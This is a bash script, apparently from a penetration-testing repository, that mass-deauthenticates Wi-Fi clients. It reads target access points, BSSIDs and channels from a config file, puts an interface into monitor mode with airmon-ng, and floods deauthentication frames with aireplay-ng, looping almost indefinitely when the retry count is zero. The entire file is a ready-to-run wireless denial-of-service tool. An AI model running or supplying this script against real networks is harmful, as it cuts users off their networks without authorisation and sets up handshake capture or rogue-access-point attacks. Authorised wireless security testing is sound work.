mgeeky-Penetration-Testing-.../networks/wpa2-enterprise-utils/massDeauth.sh

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#!/bin/bash
#
# This is a massive WLAN deauthentication attacking script
# that takes as input list of APs against which should deauth be launched,
# and then attempts that attack.
#
# Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
#
if [ $# -ne 1 ]; then
echo "Usage: ./massDeauth <configFile>"
exit 1
fi
if [ $EUID -ne 0 ]; then
echo "[!] This script must be launched as root."
exit 1
fi
function deauthClients {
echo -e "\tDeauthing clients in AP: $essid / $bssid, $ch"
iface=$1
essid=$2
bssid=$3
ch=$4
deauths=$5
airmon-ng stop ${iface}mon @> /dev/null
sleep 2
echo -e "\t[1] Starting monitor on channel $ch"
airmon-ng start $iface $ch @> /dev/null
sleep 3
if [ -z "$(ls /sys/class/net | paste | grep ${iface}mon)" ]; then
echo "[!] Could not start monitor interface! Will try again..."
sleep 3
return
fi
echo -e "\t[2] Deauthing $deauths number of times..."
aireplay-ng --deauth $deauths -e $essid -a $bssid ${iface}mon
}
config=$(cat $1 | grep -vE '^#')
retry=$(echo "$config" | grep retry | cut -d= -f2 | cut -d' ' -f2-)
deauths=$(echo "$config" | grep 'deauths' | grep '=' | awk '{print $3}')
iface=$(echo "$config" | grep iface | cut -d= -f2 | cut -d' ' -f2-)
echo "Using interface: $iface"
echo "Retry count: $retry"
echo "Deauths to be sent: $deauths"
if [ -n "$(ps -eF | grep -v grep | grep airodump)" ]; then
echo "[!] Airodump-ng is running: will not stick to one channel."
echo "[!] Please kill airodump-ng first, then proceed further."
exit 1
fi
if [ $retry -eq 0 ]; then
retry=99999999
fi
IFS=$'\n'
for i in $(seq 0 $retry); do
echo -e "\n[$i] Deauthing clients..."
for line in $(echo "$config" | grep 'target' | cut -d= -f2 | cut -d' ' -f2-); do
essid=$(echo "$line" | awk '{print $1}')
bssid=$(echo "$line" | awk '{print $2}')
ch=$(echo "$line" | awk '{print $3}')
if [ -z $ch ]; then
echo "[!] You must specify <channel> for ESSID: $essid"
exit 1
fi
if [ -z $bssid ]; then
echo "[!] You must specify <bssid> for ESSID: $essid"
exit 1
fi
deauthClients $iface $essid $bssid $ch $deauths
done
done